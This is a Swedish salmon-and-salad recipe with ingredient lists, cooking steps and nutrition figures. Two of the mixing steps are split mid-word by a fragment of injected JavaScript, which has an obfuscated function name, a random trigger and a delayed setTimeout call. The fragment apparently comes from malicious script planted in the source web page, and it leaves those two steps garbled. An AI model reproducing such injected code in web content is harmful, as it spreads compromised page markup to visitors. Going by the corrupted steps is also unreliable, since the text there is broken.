Ingredienser

• 150 g Lax
• 5 g Smör
• Örtsalt
• Svartpeppar
• Vitlökspulver
• Persilja
• Citron

Sallad

• 100 g hackad Blomkål
• 50 g Linsgroddar
• 30 g hackad Rödlök
• 30 g Grönkål
• 1 st hackad Vitlöksklyfta
• 10 g 1 matsked Teriyaki
• 10 g 1 matsked Citron
• 10 g 1 matsked Olivolja
• 1 matsked Persilja
• 1/3 tesked Sambaolek
• Svartpeppar
• Örtsalt

Gör så här:

Sätt igång ugnen på 150C

Krydda laxen på båda sidorna.
Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a i allt i salladen utom grönkålen, låt den ligga och marinera i 15 minuter.

Värm en stekpanna med smör, stek laxen så den får färg ca 2 minuter på varje sida, häll över lite citronsaft  placera i ugnen i ca 3-5 minuter beroende på tjocklek.

Blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a i grönkålen i salladen, servera salladen med att hälla saften från stekpanna över laxen.

För hela.

Kalorier 527,3

Protein 35,4 g

Kolhydrater 20,2 g

Fett 32,9 g

Delat på två portioner.

Kalorier 263,7

Protein 17,7 g

Kolhydrater 10,1 g

Fett 16,5 g

Bara salladen.

Kalorier 219,8

Protein 7,8 g

Kolhydrate 20,2 g

Fett 10,9 g